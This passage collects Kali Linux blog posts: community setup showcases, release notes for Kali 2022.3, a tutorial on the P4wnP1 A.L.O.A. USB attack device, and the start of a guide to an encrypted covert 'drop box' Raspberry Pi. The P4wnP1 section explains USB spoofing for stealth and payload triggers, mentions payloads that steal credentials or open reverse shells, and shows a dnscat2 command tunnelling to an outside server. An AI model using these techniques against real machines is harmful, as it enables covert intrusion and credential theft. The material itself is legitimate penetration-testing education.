Hi, I am fume. I have recently graduated from uni and I am working as a penetration tester. Aside from my job, I also like to develop challenges for CTF events. My time sinks are anime, manga, and at times I also play CS:GO.

XCT i3 kali setup script I love Kali Linux, it has always been one of my favourite penetration testing distros. My Kali setup is highly inspired from xct’s Kali setup, so I use kali-i3 gaps as my desktop environment with alacritty as my terminal emulator. I use Zsh and have customized it with oh-my-zsh (theme: agnoster). I have done further additions to the i3 bar and have added custom shortcuts in configs to organize my workflow. I am also using ranger as my command line file manager and btop for rice. A pretty slick thing about ranger is that it also has the same shortcuts as vim. And yes I believe in vim supremacy :P. Also, I am using megumi’s picture as my wallpaper, the best girl right?

I don’t have scripts or dot-files publicly available for my setup but here are some resources that might help y’all to build a similar/better setup.

XCT i3 kali setup script
- I would recommend reading the script and using it as a base but please don’t blindly execute it if you aren’t aware of what you are doing.
Alex Booker YouTube videos on i3wm:
Luke Smith’s YouTube videos on Ranger and Vim

Feel free to reach out to me on the Kali Linux discord if you have further questions :D

leo-tornado#4019

My name is Ahmed and I am 17 years old. I study mathematics and have a passion for cyber security. I am interested in making my own desktop as it encourages me to keep working. I can’t explain it but when you open the computer and find something you made, it inspires you to keep learning more. I don’t have links to share, but anyone can do this so you just have to be a little creative. It was a good competition, thank you for organizing.

_Henry_#3058

Hey guys, I’m Henry. I’m currently a “Cybersecurity Engineer” by day, and a bad PEN-300 student by night (I really need to get those labs done). You might have interacted with me in a Discord livestream, or maybe peeped one of my (admittedly few) walk-through videos on my YouTube channel. While I am not the greatest among us, I take enjoyment in helping others fulfil their potential and achieve their goals, pentesting or otherwise.

Regarding my build, while I half entered the competition as a joke, I unironically REALLY like the default Kali terminal. The only modification I’ve made is I’ve changed the key bindings of moving between split terminals from “Alt + Arrow Key” to “Shift + Arrow Key” because the alt movement would break on me from time to time. Outside of just enjoying the default terminal, font, and syntax highlighting, I am used to the default theme, so whether I am on an assessment with a fresh Kali install, looking at a friend’s screen, or helping someone troubleshoot their machine, the terminal looking back at me is almost always a familiar (and pretty) face.

Wrapping Up

We hope that these submissions inspire you to help bring a piece of yourself to your Kali Linux system. Come join us over at Kali Linux & Friends and be a part of our growing community to grow and learn from one another.

Community Showcase: Raspberry Pi Zero W P4wnP1 A.L.O.A.

Thu, 13 Oct 2022 00:00:00 +0000

The Kali community has been hard at work (as always!), and we want to showcase what we think is a very cool project of Kali Linux on a Raspberry Pi Zero W, the “P4wnP1 A.L.O.A. (A Little Offensive Application)”.

It takes the standard Kali Linux image and adds custom software and some extra firmware designed for the Raspberry Pi Zero W to turn it into a Swiss Army knife of attacks and exfiltration.

This blog post will be a brief overview of how to get started using the web interface, setting up a trigger as well as installing additional packages found in Kali Linux. There is a lot more to P4wnP1 than this blog post goes over, which is why we have included additional reading material from the community which cover additional attack scenarios as well as more payloads that people have written if you want to go deeper!

If you have a Raspberry Pi Zero W, we highly recommend giving this image a try. We see this as a great tool in any tester’s toolkit!

Shopping List

Raspberry Pi Zero W (not Zero 2 W)
Raspberry Pi Zero W USB-A Add-on Board (optional but recommended)
MicroUSB to USB-A cable (required if you are not using the above add-on board)
MicroSD card (32GB or larger)
Kali Linux Raspberry Pi Zero W P4wnP1 A.L.O.A. image

Setting Up To Get Down To Business

First thing, download the Kali P4wnP1 A.L.O.A. image. At the time of writing, the current version is 2022.3:

kali@kali:~/Downloads$ ls
kali-linux-2022.3-raspberry-pi-zero-w-p4wnp1-aloa-armel.img.xz

We will verify the download as well, by going back to the download page and clicking on the sum link on the Raspberry Pi Zero W (P4wnP1 A.L.O.A) line to get the SHA256 checksum:

kali@kali:~/Downloads$ echo "210635bb3dc7876b638a7035cd4dc60e0b134b19a6aec42a75f5995036b45840 kali-linux-2022.3-raspberry-pi-zero-w-p4wnp1-aloa-armel.img.xz" | sha256sum -c
kali-linux-2022.3-raspberry-pi-zero-w-p4wnp1-aloa-armel.img.xz: OK

Now that we have verified that we have downloaded the file and it matches, we write it to the microSD card, which on our system is /dev/sdb - on your system this may be different, do NOT just copy and paste what we have put here, because you WILL overwrite whatever you have on your system’s /dev/sdb if you do.

The xzcat command will open the compressed image file and pipe it to the dd command, which will do the actual writing to the microSD card. The use of xzcat is a quick trick, as it removes having to actually uncompress the image first:

kali@kali:~/Downloads$ xzcat kali-linux-2022.3-raspberry-pi-zero-w-p4wnp1-aloa-armel.img.xz | sudo dd of=/dev/sdb bs=1M status=progress
[sudo] password for kali:
6421807104 bytes (6.4 GB, 6.0 GiB) copied, 101 s, 63.6 MB/s
0+577993 records in
0+577993 records out
6442450944 bytes (6.4 GB, 6.0 GiB) copied, 162.961 s, 39.5 MB/s

The speeds above are on our system, these will differ based on your system and the speed of the microSD card that you are using.

Now that this is done, we can unplug the microSD card from the machine, and plug it in to our Raspberry Pi Zero W. If you are using a USB-A adapter similar to what we linked to in the “shopping list” section, you can plug it in to your computer to power it on, otherwise power the Raspberry Pi Zero W via the micro port as usual.

Since the first boot of Kali Linux will do things like resize the filesystem, and set up the default credentials (user: kali, password: kali) the timing will vary based on microSD card speed.

Using the P4wnP1 A.L.O.A.

Once it is booted, you will know everything is ready to go, when you see the default wireless network: 💥🖥💥 Ⓟ➃ⓌⓃ🅟❶. Handy if you do not have an HDMI monitor plugged in!

Select the above SSID, and then we login with the password: MaMe82-P4wnP1.

Now that we are connected, we should see our wireless device is connected and has an IP address in the 172.24.0.xxx/24 range:

kali@kali:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 4096
link/ether 00:03:7f:12:1f:ae brd ff:ff:ff:ff:ff:ff
inet 172.24.0.12/24 brd 172.24.0.255 scope global dynamic noprefixroute wlan0
valid_lft 297sec preferred_lft 297sec

We can see that the IP address of our wlan0 adapter is 172.24.0.12, so we are connected! Since we are successfully connected, lets pull up the web interface in our browser.

The default IP address of the P4wnP1 A.L.O.A image is 172.24.0.1 and the service listens on port 8000 so we go to http://172.24.0.1:8000/ in our browser.

Upon login we can see the list at the top: USB Settings, Wi-Fi Settings, Bluetooth, Network Settings, Trigger Actions, HIDScript, Event Log and Generic Settings.

One quick thing to note as we are going through the interface below. Under the navigation menu, each section has various buttons, depending on what screen is currently being shown. A legend for what these buttons mean:

Name	What it does
Deploy	Activate
Deploy Stored	Load something that is saved, and activate it
Reset	Return to default settings
Store	Save
Load Stored	Load something that has been saved
Run	Run the current HID Script
Load & Replace	Load a saved HID Script and Replace the current contents with it
Load & Prepend	Load a saved HID Script, and add it to the beginning of the current script

USB Settings

Here we can change the Vendor ID (VID) & Product ID (PID) of the device, so if you want to pretend to be a specific storage device, you can! You can also alter Manufacturer Name & Product Name, as well as the serial number if you really want to clone a certain device. Great if you are trying to be stealthy and have done your homework by scoping out the environment.

You can also change various other settings to alter the behavior of how the USB device acts (allowing for keyboard, mouse, network support, mass storage, and even serial)!

A nice resource to point out here is The USB ID Repository, which is a large database of known values used for USB devices.

Wi-Fi Settings

The Wi-Fi settings allows you change the Wi-Fi SSID network name, password (aka Pre Shared Key, PSK) as well as the channel which is being used. By altering these values, you can start to blend into the background by being less distinctive (and more secure by not using default credentials)!

To apply the settings, you will click on the “Deploy” button. Keep in mind, when you change the settings and hit “Deploy” you will be disconnected and need to reconnect with your new settings.

The default Wi-Fi mode is Access Point (AP), which allows for other devices to connect to P4wnP1’s wireless network.

Alternatively, you can also set the P4wnP1 to be a client (client mode) on the network, instead of a AP. Using the pre-defined configurations, P4wnP1 will then connect to the network and behave like another device on the network.

The final option, Client with Fallover to AP, gives you the “best of both worlds” as P4wnP1 will attempt to connect as a client, and if that fails, then switch to being a Access Point. Neat!

For example, we will set it up in this fall over mode. So if the kali Wi-Fi network is in range and has the correct key, it should connect to that as a client, if not, if we are not in range, or it cannot see it, it will start up the access point network.

If the airwaves are being monitored, you can simply disable the Wi-Fi network as well.

Bluetooth

Moving on, we have the Bluetooth settings.

In this section, we can enable or disable Bluetooth. If discoverable, we can set the Bluetooth name, (with the default being P4wnP1). We can also set the Bluetooth PIN used to connect (the default PIN is 1337) - PIN is only used if “Secure Simple Pairing (SSP)” is turned off.

For the Bluetooth network settings, the Personal Area Network profile (PAN) is used. Keep in mind that you typically have a range of 10 meters (33 ft) with Bluetooth connections.

Some quick definitions for people who may not be familiar with Bluetooth Personal Area Network profiles:

Profile	Definition
PANU	Peer-to-Peer connection (one to one)
PAN-GN	Group Ad-hoc Network (GN) of up to 8 devices
PAN-NAP	Network Aggregation Point (NAP) can bridge the Bluetooth connection to the wireless connection

So if you set the P4wnP1 to be in PAN-NAP (the default), you can connect up to 10 devices to the P4wnP1 over Bluetooth and share its network connection that way.

If you were to set it up with PAN-GN, then up to 7 additional devices could connect to the P4wnP1, and can communicate with each other but there is no Internet access.

And if you were to use PANU, then you can only transfer data between the device connected to the P4wnP1 and the P4wnP1 itself.

Network Settings

The next tab is Network Settings, where we can change the options for the different ways of connecting to the P4wnP1.

You can connect via Bluetooth (bteth), USB (usbeth), or as we currently are, via Wi-Fi (wlan0).

To make any changes, you select the interface, and make the change for that interface, including using DHCP or setting static IP values. You can also alter some DHCP options here. Under the hood, dnsmasq is being used.

For example, you may wish to have Wi-Fi set to client mode, using the network DHCP server and have Bluetooth enabled as a fallback interface, which is running a DHCP server.

Trigger Actions

Now we have triggers.

Triggers are the main way of doing things with the P4wnP1, when certain conditions are met. You can think of a trigger action as a payload. Whatever you set up here, if the conditions are met, the actions you set happen.

Triggers are very powerful, and the sky is the limit when creating them. To get your feet wet, some trigger actions are:

Service started - Do something when a service has started on the P4wnP1
USB gadget connected to host - Do something when the P4wnP1 is connected to a host
USB gadget disconnected from host - Do something when the P4wnP1 is disconnected from a host
Wi-Fi Access Point is up - Do something when the P4wnP1’s access point is up
Joined existing Wi-Fi - Do something when the P4wnP1 joins a Wi-Fi network as a client
DHCP lease issued - Do something when a DHCP lease is issued to a device connected to the P4wnP1
Input on GPIO - Do something based on the Raspberry Pi GPIO pins input
SSH user login - Do something when a user logs in to the P4wnP1 via SSH

If you want to dig a little deeper (and keep your workflow simpler with meaningful naming values), you can use group channels. As the name suggests, you can group actions together. This then allows for easier to read rules, as well as more complex logic. These options are:

A value on a group channel - Do something when a specific value on a group channel matches
Multiple values on a group channel - Do something once multiple values on a group channel match

Example scenario of this could have the end result to “run a bash script on the P4wnP1”, but the conditions for this to happen is when “Wi-Fi Access Point is up” as well as “USB gadget connected to host” are both met. So you create a few triggers:

On “Wi-Fi Access Point is up” -> send value “1” to group “connected”
On “USB gadget connected to host” -> send value “2” to group “connected”

We can go even more complex logic with the rules with making the third trigger. We can control the ordering using “exact ordered sequence”. So does it matter if the device is plugged in before the Wi-Fi access point is up? By using:

type "All (logical AND)" the ordering does not matter in order to do the action
exact ordered sequence the order matters in order to trigger the action

With what we have in mind, we do not require a certain sequence of events so we use multiple values on group channel"; values (1,2); type "All (logical AND)" -> Start bash script.

Something else to keep in mind when coming up with ideas, you can enable “one shot” mode, which will only trigger once, rather than every time the event happens. Handy if the P4wnP1 is disguised as another device, it can then behave “normally” after running the payload the first time.

HIDScript

Moving on to the HIDScript tab, if you have ever used DuckyScript, HIDscripts are similar, but based upon JavaScript rather than bash.

“HIDScripts” run on Raspberry Pi device and they interact with the enumerated “fake” hardware which is connected externally, however “bash scripts” run on the Raspberry Pi OS “internal”.

To get you started, P4wnP1 pre-populates with a simple HIDScript (called hidtest1.js) that will launch notepad on a Windows computer, types out a phrase, then moves the mouse, and then repeats it without any delays. More about this can be found in our example trigger.

In the Other Resources at the end of this post you can find additional payloads that people have written, if you want, or need, some inspiration, such as:

Extract Chrome and Internet Explorer credentials as well as any stored Wi-Fi networks information, and copy them to the P4wnP1
Open a webpage
Run an command as administrator on the target system the P4wnP1 is plugged in to
Using just PowerShell commands, create a reverse shell with administrator rights

To help create and debug HIDscripts, you can click the RUN button at any time to execute, rather than having do the events of a trigger action.

Event Log

The Event Log tab is where events are logged, if you have set up any triggers to log.

The Event Log is only for P4wnP1 A.L.O.A. events, and does not include logs on the system itself.

This is useful for debugging any payloads and triggers you are writing, tracking process of actions, and retrieving contents of payloads,

Generic Settings

And finally we have our Generic Settings, where we can do things like use the Master Template Editor to control what the defaults are every time it boots as well as Reboot or Shutdown the P4wnP1 device, and also make a backup or restore the P4wnP1 database (so your settings and hard work is preserved).

Creating our own Trigger

Now that we have covered using the web interface of the P4wnP1 A.L.O.A., let’s put the information we have gained into practice. As an example, lets set the P4wnP1 up so that when we:

Plug the P4wnP1 into a Windows machine while in USB gadget mode, it will run the default HIDScript hidtest1.js to run a command and move the mouse about.

First, let’s go into the web interface and click on trigger actions:

Then we will click on Add One, which brings up the following modal window and in order to change any settings, it has to be enabled, so we will quickly do that too:

In this case, we will choose: USB gadget connected to host:

Now we select the action to take, which is “Start a HIDScript”:

Now we choose which HIDScript to load. For this example we will load the default HIDscript that is written, called hidtest1.js, which will launch notepad, type out “Hello from P4wnP1 run” and then move the mouse to the right, then left, and then it will do it again, but much faster, to show the speed at which the P4wnP1 can run them.

Any HIDScripts that you write, or get from the community, will show up in this list once they are added to your P4wnP1. The list below are just the default ones that come with the P4wnP1.

Lastly, to save our trigger, we click the Update button:

Happy hacking!

Installing A Package When Connected over SSH

When you have Internet access on the P4wnP1, you have the full arsenal of Kali’s repositories available to you. So any package you can install in Kali on a Raspberry Pi Zero W will be available for use in bash scripts you may write. You can access those scripts via triggers.

However you are connected to P4wnP1, you can SSH in using either the kali and root users. The default credentials are:

kali / kali
root / toor

We are now going to install the package dnscat2-client on P4wnP1, then connect to a dnscat2-server we have already set up somewhere else.

As a reminder, we always want to run sudo apt update before installing packages, to ensure we get the latest version:

kali@kali-raspberry-pi-zero-w-p4wnp1-aloa:~$ sudo apt update
[...]
kali@kali-raspberry-pi-zero-w-p4wnp1-aloa:~$
kali@kali-raspberry-pi-zero-w-p4wnp1-aloa:~$ sudo apt -y install dnscat2-client
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Suggested packages:
dnscat2-server
The following NEW packages will be installed:
dnscat2-client
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
[...]

Now, we can just simply run the suggested command when setting up dnscat2-server on our other machine:

kali@kali-raspberry-pi-zero-w-p4wnp1-aloa:~$ dnscat --dns server=10.0.13.37,port=53 --secret=5672ddb107fe2f33e490a83e8d1036ca
Creating DNS driver:
domain = (null)
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 10.0.13.37
** Peer verified with pre-shared secret!
Session established!

Happy hacking (again)!

Credits

The original author of P4wnP1 A.L.O.A. is Marcus Mengs aka MaMe82.

Rogan Dawes took over maintainership when Marcus needed to step away.

Reminder

We love seeing what the community builds on top of Kali Linux, if you are working on a project let us know!

You can reach out to us on Twitter or on our Discord.

Other Resources

Project Resources:

Kali Resources:

Kali Linux P4wnP1 A.L.O.A. Documentation

Community Resources:

Kali Linux 2022.3 Release (Discord & Test Lab)

Tue, 09 Aug 2022 00:00:00 +0000

In light of “Hacker Summer Camp 2022” (BlackHat USA, BSides LV, and DEFCON) occurring right now, we wanted to push out Kali Linux 2022.3 as a nice surprise for everyone to enjoy! With the publishing of this blog post, we have the download links ready for immediate access, or you can update any existing installation.

The highlights for Kali’s 2022.3’s release:

Discord Server - Kali’s new community real-time chat option has launched!
Test Lab Environment - Quickly create a test bed to learn, practice, and benchmark tools and compare their results
Opening Kali-Tools Repo - We have opened up the Kali tools repository & are accepting your submissions!
Help Wanted - We are looking for a Go developer to help us on an open-source project
Kali NetHunter Updates - New releases in our NetHunter store
Virtual Machines Updates - New VirtualBox image format, weekly images, and build-scripts to build your own
New Tools In Kali - Would not be a release without some new tools!

For more details, see the bug tracker changelog.

Kali is on Discord

We have started up a new discord server, Kali Linux & Friends. This is our new place for the Kali community to get together and chat in real-time all about Kali Linux (as well as other community projects that OffSec has to offer).

This is a community server, all with common interests. We do not have the goal to get as many users as possible, instead, we are growing a place for each other to help one another. We are focusing on quality not quantity. Please bear in mind, if you are looking for help, first search for your problem, ask questions, then wait for the community support from your peers. Remember no one is under obligation to help you, and you are more likely to get assistance if you are polite and show you have put some effort into solving your own issue.

Speaking of “real-time chatting”, we are going to be starting a new tradition. We will be doing an hour long session after every Kali release where various Kali developers will come and voice chat on Discord, answer questions about Kali and its direction, take your input, and so on. We will be sure to add details about this in every blog post release going forwards.

The first one is on Tuesday, 16th August 2022 16:00 -> 17:00 UTC/+0 GMT.

Feel free to be a fly on the wall, come by to say a hello, or ask questions! This is a great opportunity to ask questions, provide your input on what can help improve Kali, or get involved and contribute!

Please note, we will not be recording these sessions. These are live sessions only.

Why Discord? In short, people are already there. It’s a common and popular platform that has become very popular over the years. People have already gone through the process of signing up and becoming familiar with the UI. For those who are not, you can register and within minutes be chatting. It’s simple and straight forward to get going.

Real-time chat can be seen like a social network, as it’s only as good as the people who are on it.

Why not use Matrix? In short, same reasons as above, the user-base. Going into a bit more depth, the entry barrier is higher. It’s a bit more complex to get setup and it’s not as user-friendly.

Matrix is great (and various team members do use it daily)! Kali being open-source, using open-source solutions to match does make sense. But we are not trying to be a trend setter - we are going with the crowd. We believe the key to a successful community is the community itself. We are not wanting to reinvent the wheel, we are not wanting people to sign up once again to another service, using another chat application, another thing that’s giving you notifications. If people are already there, we are going with them.

Lastly, we do not want to be focusing on running and maintaining infrastructure of a self-hosted solution for a real-time chat, as that takes us away from developing an OS with everything that goes with it.

What happened to IRC? In short, it’s still there. We are still using it from a Kali development perspective. The network may have changed (from Freenode to Libera Chat), but we still do use Internet Relay Chat.

Back in the heyday of Freenode, it was the place to be. “Everyone” was on it. It did slowly start to lose some users, before the crash in 2021. Libera Chat stepped it, and did recover some of the broken pieces but various homes moved on to other networks or even protocols.

The IRC channels are public, so anyone can join in on the development side of things. However the Kali community focus will be on Discord.

Test Lab Environment

“A craftsman is only as good as their tools.”

This is true, even outside of Information Security field, you need to understand your tools to master your craft. You can read their code to understand how they work (or a very detailed REAME at times), help screens and their manuals (if they have one) will give you a starting point on how to use them. But where do you use them especially when they are security tools? What output should the tool give? What is a successful run? How long does the tool take? What is its baseline? How can I get experience with it? All valid questions which need answers.

To try and achieve these answers, most seasoned professionals will practice first (hopefully in a known, controlled environment!). This is where a “Test Bed/Laboratory” comes into play. Theory is different to practical (You may remember this the first time you were tasked of something new to accomplish). You can take the static theory-based output from help screens, READMEs, and manual pages and hands-on enter the data into programs and monitor the dynamic output and practical response. Its one thing to read something, its another to do it. The result often gives people a deeper understanding.

Practice makes ~~perfect~~ permanent. So practice, practice, practice! Inquisitive minds can then start to experiment with new configurations, options, commands and flags. Then start to chain items together, or compare similar and alternative solutions, then compare the results, to become more educated and build up a benchmark of knowledge. This grows experience.

We are trying to make it a bit easier to build up your test lab. So we have packaged up:

DVWA - Damn Vulnerable Web Application
Juice Shop - OWASP Juice Shop

All you have to do is apt install <package>, else you can use the kali-linux-labs metapackage to get them all! This list will be growing in the upcoming Kali releases!

At times, you may be running codes that are designed to be vulnerable. Please take the necessary steps to secure your environment.

Practice tools, sharpen skills, and benchmark alternatives

If you put all your trust into something without understanding it, there could be complications…

Credit: unknown!

Kali for Virtual Machines

We have already provided Kali Linux images for VMware and VirtualBox since the start. For this release, there’s been a few changes worth noting.

We now distribute the VirtualBox image as a VDI disk and a .vbox metadata file, or to say it short: the native format for VirtualBox images. It should be a bit faster to download, as those images have a better compression ratio compared to the OVA images that we used to provide. It should also be a bit more straightforward to use it, you just need to unpack the image in your VirtualBox folder and run it. In case you need help, refer to our documentation: Import Pre-Made Kali VirtualBox VM.

Additionally, we just started to provide weekly builds of our VM images. These images are built from the kali-rolling branch, meaning that they have the most up-to-date packages, but on the other hand they don’t receive as much testing as our quarterly releases.

Last but not least, the scripts that we use to build those images are now available on GitLab. If you need to build custom Kali VM images, this is the place to go!

Help Wanted

Do you know Go? The Kali team is looking for some help! Bonus points if you know Redis as well!

This work would be going into an already existing Open-Source project, MirrorBits. We have a few desirable features we would love to be added into it.

Interested? Let’s talk. Please get in touch by emailing icanhelp at kali dot org, or tweeting at us directly. If you have any previous work to showcase, even better.

Why are you guys not doing it? Our development team has a maxed out roadmap and we don’t want to be waiting until items are closed out before this goes into production.

Other Kali updates

For people who use Xrdp (like Win-KeX), there is a new look to the login
We have fixed up some confusion between fuse and fuse3
We did some maintenance to our network repository, and shrank /kali from 1.7Tb to 520Gb!

New Tools in Kali

It would not be a Kali release if there were not any new tools added! A quick run down of what has been added (to the network repositories):

DefectDojo - Open-source application vulnerability correlation and security orchestration tool
shellfire - Exploiting LFI/RFI and command injection vulnerabilities
SprayingToolkit - Password spraying attacks against Lync/S4B, OWA and O365

There have been numerous packages updates as well.

Kali NetHunter Updates

Full Android 12 support is getting closer to being a reality with 6 new kernels in our NetHunter repository and updates to the NetHunter app. It is still not for the fainthearted as a little tinkering is required to install all the components individually but we’re getting closer to releasing the first OnePlus image soon.

For the meantime, we have updated the apps in our NetHunter Store to the latest releases, including:

aRDP, aSPICE, bVNC, Opaque = v5.1.0
Connectbot = 1.9.8-oss
Intercepter-NG = 2.8
OONI Probe = 3.7.0
OpenVPN = 0.7.38
Orbot = 16.4.1-RC-2-tor.0.4.4.6
SnoopSnitch = 2.0.12-nbc
Termux = 118
Termux-API = 51
Termux-Styling = 29
Termux-Tasker = 6
Termux-Widget = 13
Termux-Float = 15
WiGLE WiFi Wardriving = 2.64

If you would like to get involved and help out with the development, or just like to chat to like-minded Android tinkerers, why don’t you join us in the NetHunter channels on our new Discord server? We’d love to see you around!

Kali ARM Updates

All Raspberry Pi devices have had their kernel upgraded to 5.15.
Created arm.kali.org to have a overview and statistics for kali-arm (very similar to nethunter.kali.org).
Every Kali ARM device has had their default size for the boot partition set to 256 MB.
Pinebook has had the broken sleep modes removed, so it should no longer go to sleep and be unable to wake up.
USBArmory MKII moved to the 2022.04 u-boot release.

Kali Documentation Updates

There has been a number of new pages added to our kali-docs sub section, as well as numerous updates to existing pages, keeping them up-to-date as well as adding more details. A summary of the new pages added:

Kali Tools Documentation

A little off-topic, but also worth mentioning. Kali-docs is our documentation of Kali as an operating system. Kali-tools is our documentation for the tools inside of Kali. We have also opened up the kali-tools repository, allowing for community contributions as well.

We will be updating this on a frequent basis. But you can help speed this up! Our goal is to have general information about every tool, as well as examples of the tool being used, and how to use the tool. If you want to get involved with Kali Linux, this is a great way to!

We are after any media format possible, text, images, and videos (asciinema is our preferred option for videos rather than Vimeo/YouTube).

Please note, if there is too much “self-promotion”, submissions will be declined.

Kali Blog Recap

In case you missed our recent blog posts, here’s what you missed:

If you would like them straight to your e-mail inbox, sign up to the newsletter.

Community Shout-Outs

In this last quarter, there have been multiple contributions from a number of people (the joy of Kali Linux being open-source). We do thank you guys! A few of these people’s actions have helped make a significant improvement to Kali, so we want to call them out:

Cloudflare’s Jade Wang who has been working on some behind the scene stuff for us
Lorenzo Bernardi for helping with Azure (Yes, it’s coming back soon…)
Mark Egan-Fuller and elrey (alex) for helping get a QEMU Vagrant image building - go check it out!

Anyone can help out, anyone can get involved! And, in case you didn’t know, you can always follow how Kali is going by checking out the activity page of our GitLab!

Get Kali Linux 2022.3

Fresh Images: So what are you waiting for? Go get Kali already!

Existing Installs: If you already have an existing Kali Linux installation, remember you can always do a quick update:

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" | sudo tee /etc/apt/sources.list
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
┌──(kali㉿kali)-[~]
└─$ cp -rbi /etc/skel/. ~
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f

You should now be on Kali Linux 2022.3 We can do a quick check by doing:

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2022.3"
VERSION_ID="2022.3"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07)
┌──(kali㉿kali)-[~]
└─$ uname -r
5.18.0-kali5-amd64

NOTE: The output of uname -r may be different depending on the system architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We will never be able to fix what we do not know is broken! And Twitter is not a Bug Tracker!

Want to keep in up-to-date easier? We have a RSS feeds and newsletter of our blog!

Secure Kali Pi (2022)

Tue, 02 Aug 2022 00:00:00 +0000

This is the first part of a 3 part series of blog posts surrounding Kali usage on Raspberry Pi devices. This first post will cover enabling Full Disk Encryption (FDE) on a Raspberry Pi, part two will cover remotely connecting to it, and finally, part three will cover debugging issues we ran into while making these posts, so others can learn how to do so as well.

With everything that has been going on in the world in the last few years, more people are working remotely. We are no exception to this, and today, we are going to be revisiting our “drop box” machine, which has been encrypted thus making it harder to identify if discovered.

The goal is to create a stand-alone “leave behind” headless device that, that if/when discovered, does not make it easy to figure out what we were doing as our data is secure at all times. To accomplish this, we will use Full Disk Encryption (FDE), and allow for it to be remotely unlocked (should the device get restarted for any reason). There will be the option as well to use LUKS Nuke capability should we wish to make the disk inaccessible at any point after we are done with it. We will be doing this on a Raspberry Pi 4 Model B+, but it also has been tested on a Raspberry Pi 3 Model B as well. You should be able to use most makes/models of similar devices, it may just require a bit of creative adaptations/adjustments in order to secure your own system.

This is an updated process as we have previously covered part of this before. This time we include additional developments, with some community contributions thrown in. We would like to give a shout-out to Richard Nelson (@unixabg) for his automated script. We will touch on this after going through the manual method, as we always recommend you understand what is going on under the hood.

Higher-level overview

Before we dive into the lower-levels of technical details of what we are going to accomplish, let’s take a quick look at our goals that we want to achieve, and break it down:

Install Kali Linux on a Raspberry Pi 4 (henceforth called “RPi”)
Prepare the system for encrypted boot ready for remote disk unlock
Setup SSH keys to allow the remote unlock to occur (using initramfs and Dropbear)
Backup any existing data
Configure the encrypted partitions
Restore our data
Hack away!

This might sound like a lot, but it’s rather straightforward even if there are a fair few steps. Once completed, we will have a RPi that will:

Boot
Get an IP from DHCP
Wait for us to connect via SSH using keys
Allow us to provide either the LUKS unlock, or LUKS Nuke passphrases

Then down the road when we are done with whatever it is we are wanting to do, the only thing left is to retrieve it …at our leisure!

Installing Kali Linux on a RPi

If you’re following along, be sure to know where you are imaging the file to, and replace /dev/sdX. Don’t blindly copy/paste!

We will be creating our drop box machine on an existing Kali installation. It should be very easy to use other Debian-based distributions, and pretty straight forward for other OSes (except Windows users!)

We first will download the latest stable Kali RPi image. At the time of writing, that’s Kali 2022.2. We have also chosen the 64-bit image, as we have more than 4GB of RAM, and are not using any HATs (Hardware Attached on Top). The steps for 32-bit would be the same, after adjusting filenames:

$ wget https://kali.download/arm-images/kali-2022.2/kali-linux-2022.2-raspberry-pi-arm64.img.xz
$ xzcat kali-linux-2022.2-raspberry-pi-arm64.img.xz | sudo dd of=/dev/sdX bs=512k status=progress

Preparing the system

Preparing the chroot

We next are going to get things ready for a chroot. Let’s create where we want to mount the microSD card, then mount it:

$ sudo mkdir -vp /mnt/chroot/
$ sudo mount /dev/sdX2 /mnt/chroot/
$ sudo mount /dev/sdX1 /mnt/chroot/boot/
$ sudo mount -t proc none /mnt/chroot/proc
$ sudo mount -t sysfs none /mnt/chroot/sys
$ sudo mount -o bind /dev /mnt/chroot/dev
$ sudo mount -o bind /dev/pts /mnt/chroot/dev/pts
$ sudo apt install -y qemu-user-static
$ sudo cp /usr/bin/qemu-aarch64-static /mnt/chroot/usr/bin/

The last two commands will come in handy ready for initramfs later.

Installing required packages

Now that our system is set up we can use the chroot to set up the RPi image for encryption. Let’s first enter the chroot and install some necessary packages:

$ sudo env LANG=C chroot /mnt/chroot/
┌──(root㉿kali)-[/]
└─# apt update
┌──(root㉿kali)-[/]
└─# apt install -y busybox cryptsetup dropbear-initramfs lvm2

We want to ensure we are on the latest kernel before we get started, so lets also make sure we have them installed:

┌──(root㉿kali)-[/]
└─# apt install -y kalipi-kernel kalipi-bootloader kalipi-re4son-firmware

Boot options

Next we are going to edit /boot/cmdline.txt and change the root path. The /boot/cmdline.txt file on a RPi device is used to pass the kernel command line options. We will want to change the root path to be /dev/mapper/crypt, and then we will add in cryptdevice=PARTUUID=$partuuid:crypt right after that.

The reason for this is that the kernel needs to know where the root filesystem is, in order to mount it and use it, and since we are encrypting the rootfs later in the post, during boot time it can’t see the unencrypted device either, because of the encryption! While we are changing the name here to “crypt”, you can call it anything you want.

The end result should look like this:

┌──(root㉿kali)-[/]
└─# vim /boot/cmdline.txt
┌──(root㉿kali)-[/]
└─# cat /boot/cmdline.txt
dwc_otg.fiq_fix_enable=2 console=serial0,115200 kgdboc=serial0,115200 console=tty1 root=/dev/mapper/crypt cryptdevice=PARTUUID=ed889dad-02:crypt rootfstype=ext4 fsck.repair=yes rootwait net.ifnames=0

Partition layout

We now need to update the /etc/fstab file, this is a configuration file on the system that contains all available disks, disk partitions, and what options to use when handling them.

Currently it is populated with the UUID of the root filesystem, and we need it to point at the encrypted filesystem that we will be making. In this example, we’ve commented out what the previous root device’s UUID, and point at /dev/mapper/crypt which is what our encrypted filesystem will mount as, once we create it:

┌──(root㉿kali)-[/]
└─# vim /etc/fstab
┌──(root㉿kali)-[/]
└─# cat /etc/fstab
# <file system> <mount point> <type> <options> <dump> <pass>
proc /proc proc defaults 0 0
/dev/mapper/crypt / ext4 errors=remount-ro 0 0
#UUID=747bfa7c-edd2-471f-8fff-0ecafc2d3791 / ext4 errors=remount-ro 0 1
LABEL=BOOT /boot vfat defaults 0 2

Configure the encrypted partitions

